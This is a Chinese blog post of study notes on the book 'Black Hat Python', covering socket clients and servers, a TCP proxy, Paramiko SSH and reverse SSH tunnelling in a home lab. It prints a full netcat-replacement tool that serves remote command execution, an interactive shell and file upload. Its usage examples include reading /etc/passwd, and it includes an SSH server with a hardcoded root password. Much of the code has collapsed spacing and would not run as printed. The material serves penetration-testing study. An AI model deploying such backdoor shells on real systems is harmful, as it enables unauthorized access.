Python黑帽子--黑客与渗透测试编程之道

第一章设置Python环境

kali虚拟机

开始用pip安装github3.py,没什么问题

跟着安装WingIDE,下载linux对应位数的版本的deb,就行了,但是产生了依赖


Python黑帽子--黑客与渗透测试编程之道_第1张图片
于是修改软件源APT-sources.list vim /etc/apt/sources.list 将原来的注释掉,加了个阿里的 #阿里云kali源 deb http://mirrors.aliyun.com/kali sana main non-free contrib deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free 再 apt-get update & apt-get upgrade apt-get -f install 最后再安装deb文件就行了,命令如上面截图


Python黑帽子--黑客与渗透测试编程之道_第2张图片
因为wingide收费版才有自动补全,那就用有现成序列号的pycharm4.5吧~~,没补全真难受


Python黑帽子--黑客与渗透测试编程之道_第3张图片
第二章 网络基础

TCP客户端


Python黑帽子--黑客与渗透测试编程之道_第4张图片
可以看到百度返回的HTTP响应啦

UDP客户端


Python黑帽子--黑客与渗透测试编程之道_第5张图片
首先先用nc监听一下9999端口,-u就是udp模式的啦,哈哈发过去了,最后打印出了ip和端口,nc没发数据过来,可能就没收到数据咯 现在就可以比较一下tcp和udp的区别了,最核心的是udp不用连接,因为是无状态的协议 发送和接受的函数也是有区别的,通过实验发现recv和recvfrom的参数是接收几个字符的意思

TCP服务器

#-*- coding:utf8 -*-

importsocket

importthreading

bind_ip ="0.0.0.0"#绑定ip:这里代表任何ip地址

bind_port =8888

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((bind_ip, bind_port))

# 最大连接数为5

server.listen(5)

print"[*] Listening on %s:%d"% (bind_ip, bind_port)

# 这是客户处理进程

defhandle_client(client_socket):

#打印出客户端发送得到的内容

request = client_socket.recv(1024)

print"[*] Received: %s"% request

#发送一个数据包

client_socket.send("ACK!")

client_socket.close()

whileTrue:

client,addr = server.accept()

print"[*] Accepted connection from: %s:%d"% (addr[0], addr[1])

#挂起客户端线程,处理传人的数据

client_handler = threading.Thread(target=handle_client, args=(client,))

client_handler.start()

  用之前的tcp客户端连接,收到信息了


同时,服务端也收到了客户端发来的信息


Python黑帽子--黑客与渗透测试编程之道_第6张图片
取代netcat

代码:

[python]view plaincopy

#!/usr/bin/python

#-*- coding:utf8 -*-

importsys

importsocket

importgetopt

importthreading

importsubprocess

# 定义一些全局变量

listen =False

command =False

upload =False

execute = ""

target = ""

upload_destination = ""

port =0

defrun_command(command):

# 删除字符串末尾的空格

command = command.rstrip()

# 运行命令并将输出放回

try:

output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)

except:

output ="Failed to execute command.\r\n"

# 将输出发送

returnoutput

defclient_handler(client_socket):

globalupload

globalexecute

globalcommand

# 检查上传文件

iflen(upload_destination):

# 读取所有的字符并写下目标

file_buffer = ""

# 持续读取数据直到没有符合的数据

whileTrue:

data = client_socket.recv(1024)

ifnotdata:

break

else:

file_buffer += data

try:

file_descriptor = open(upload_destination,"wb")

file_descriptor.write(file_buffer)

file_descriptor.close()

client_socket.send("Successfully saved file to %s\r\n"% upload_destination)

except:

client_socket.send("Failed to save file to %s\r\n"% upload_destination)

# 检查命令执行

iflen(execute):

# 运行命令

output = run_command(execute)

client_socket.send(output)

# 如果需要一个命令行shell,那么我们进入另一个循环

ifcommand:

whileTrue:

# 跳出一个窗口

client_socket.send("")

cmd_buffer = ""

while"\n"notincmd_buffer:

cmd_buffer += client_socket.recv(1024)

#  返回命令输出

response = run_command(cmd_buffer)

# 返回响应数据

client_socket.send(response)

defserver_loop():

globaltarget

# 如果没有定义目标,那我们监听所有接口

ifnotlen(target):

target ="0.0.0.0"

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((target, port))

server.listen(5)

whileTrue:

client_socket, addr = server.accept()

# 分拆一个线程处理新的客户端

client_thread = threading.Thread(target=client_handler, args=(client_socket,))

client_thread.start()

defclient_sender(buffer):

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

# 连接到目标主机

client.connect((target, port))

iflen(buffer):

client.send(buffer)

whileTrue:

# 现在等待数据回传

recv_len =1

response = ""

whilerecv_len:

data = client.recv(4096)

recv_len = len(data)

response += data

ifrecv_len <4096:

break

printresponse

# 等待更多的输入

buffer = raw_input("")

buffer +="\n"

# 发送出去

client.send(buffer)

except:

print"[*] Exception! Exiting."

#关闭连接

client.close()

defusage():

print"BHP Net Tool"

print

print"Usage: bhpnet.py -t target_host - p port"

print"-l --listen              - listen on [host]:[port] for incoming connections"

print"-e --execute=file_to_run -execute the given file upon receiving a connection"

print"-c --command             - initialize a commandshell"

print"-u --upload=destination  - upon receiving connection upload a file and write to [destination]"

print

print

print"Examples:"

print"bhpnet.py -t 192.168.0.1 -p 5555 -l -c"

print"bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"

print"bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""

print"echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"

sys.exit(0)

defmain():

globallisten

globalport

globalexecute

globalcommand

globalupload_destination

globaltarget

ifnotlen(sys.argv[1:]):

usage()

# 读取命令行选项,若没有该选项则显示用法

try:

opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])

exceptgetopt.GetoptError as err:

printstr(err)

usage()

foro,ainopts:

ifoin("-h","--help"):

usage()

elifoin("-l","--listen"):

listen =True

elifoin("-e","--execute"):

execute = a

elifoin("-c","--commandshell"):

command =True

elifoin("-u","--upload"):

upload_destination = a

elifoin("-t","--target"):

target = a

elifoin("-p","--port"):

port = int(a)

else:

assertFalse,"Unhandled Option"

#我们是进行监听还是仅从标准输入读取数据并发送数据?

ifnotlistenandlen(target)andport >0:

# 从命令行读取内存数据

# 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D

buffer = sys.stdin.read()

# 发送数据

client_sender(buffer)

# 我们开始监听并准备上传文件,执行命令

# 放置一个反弹shell

# 取决于上面的命令行选项

iflisten:

server_loop()

#调用main函数

main()

一开始没在前头打python,默认是不是用python解析运行的,所以会出错,kali就会变成截图了

下面的客户端连接时,连接后要按CTRL+D让其返回shell


Python黑帽子--黑客与渗透测试编程之道_第7张图片
如果你不想每次都打python才能运行,就在第一行加入#!/usr/bin/python(如果python默认安装在那个目录的话)


Python黑帽子--黑客与渗透测试编程之道_第8张图片
Python黑帽子--黑客与渗透测试编程之道_第9张图片
创建一个TCP代理

用法: ./文件名.py [localhost] [localport] [remotehost] [remoteport] [receive_first]           //最后一个参数是 是否从远程服务器(主机)接收数据


Python黑帽子--黑客与渗透测试编程之道_第10张图片
设置完代理,再打开百度,我们在下图可看到GET请求的全部内容,这确实比我们直接访问百度多了一跳。 过程如下: 浏览器将GET请求发送给本地的80端口,又我们的程序监听的是本地的80端口,就会将GET请求发送给远程主机(即我们开启程序时设置的www.baidu.com的80端口),最后再将www.baidu.com返回的数据给回程序,再给回浏览器(那为什么我们访问其他网址或ip不能呢,就是你发送的GET请求给www.baidu.com他会返回你要的网址的内容给你么,那当然不会,所以就只能访问百度域名下的各种目录)


Python黑帽子--黑客与渗透测试编程之道_第11张图片
还有返回的响应数据,其实我觉得这好像在抓包了


Python黑帽子--黑客与渗透测试编程之道_第12张图片
通过Paramiko使用SSH

首先安装paramiko模块,还是去了点小问题,好像是安装过了吧,要我升级一下?


Python黑帽子--黑客与渗透测试编程之道_第13张图片
代码(这里也是可以用密钥认证来登陆的,这里就注释掉了)


Python黑帽子--黑客与渗透测试编程之道_第14张图片
可以看到跟我直接用xshell 连接自己的树莓派执行的结果是一致的


Python黑帽子--黑客与渗透测试编程之道_第15张图片
反向ssh

为了适应非默认端口,改了一下作者的客户端代码,修改处已圈出


Python黑帽子--黑客与渗透测试编程之道_第16张图片
可能是什么权限什么的,认证成功,最后连接不成功
Python黑帽子--黑客与渗透测试编程之道_第17张图片
在kali测试还是一样~~,有谁告诉我原因,我只有那个私钥和作者不一样啊~~~


Python黑帽子--黑客与渗透测试编程之道_第18张图片
2017.06.03更新: 感谢largewave用户指出: 在下面的Server类中的check_channel_request函数应该return paramiko.OPEN_SUCCEEDED 而不是paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

class Server(paramiko.ServerInterface):

def __init__(self):

self.event=threading.Event()

def check_channel_request(self, kind, chanid):

ifkind== 'session':

return paramiko.OPEN_SUCCEEDED

def check_auth_password(self, username, password):

if (username== 'root') and (password== 'lovepython'):

return paramiko.AUTH_SUCCESSFUL

return paramiko.AUTH_FAILED


这样即可认证成功,但之后执行命令又出现问题了,

报错如下:

paramiko.ssh_exception.SSHException: Channel closed.

知道的可以继续留言,感谢各位的交流和学习,虽然好久没搞web 了


ssh隧道

建议看一下这篇文章,你会对ssh隧道的理解更直观,我的理解简单来说就是一条管道,其实别人说隧道也觉得差不多啦

http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html

在本地用locate命令找不到paramiko的示例文件rforward.py,最终通过谷歌终于找到了,原来在github上:https://github.com/paramiko/paramiko/tree/master/demos,之前那个test_rsa.key文件也在上面了


Python黑帽子--黑客与渗透测试编程之道_第19张图片
一开始将我的树莓派(192.168.88.102)作为ssh客户端,端口为5556,,与kali(10.10.10.145:6666)建立一个反向ssh隧道 在服务端kaili执行
跟着kali端  


但在树莓派执行


并不能连接,出错了(说是拒绝),详见下图最后一行

Python黑帽子--黑客与渗透测试编程之道_第20张图片
于是就尝试kali的22端口

python rforward.py192.168.88.102-p5556-r10.10.10.145:22--user pi --password


Python黑帽子--黑客与渗透测试编程之道_第21张图片
可以看到成功了,而且隧道建立后树莓派那边(客户端)的127.0.0.1:5556处于监听状态,我们发送到本地5556的请求会转发到10.10.10.145的22端口啦~~


Python黑帽子--黑客与渗透测试编程之道_第22张图片
Python黑帽子--黑客与渗透测试编程之道_第23张图片
第三章 网络:原始套接字和流量嗅探

Windows和Linux上的包嗅探

更新中........

你可能感兴趣的:(Python黑帽子--黑客与渗透测试编程之道)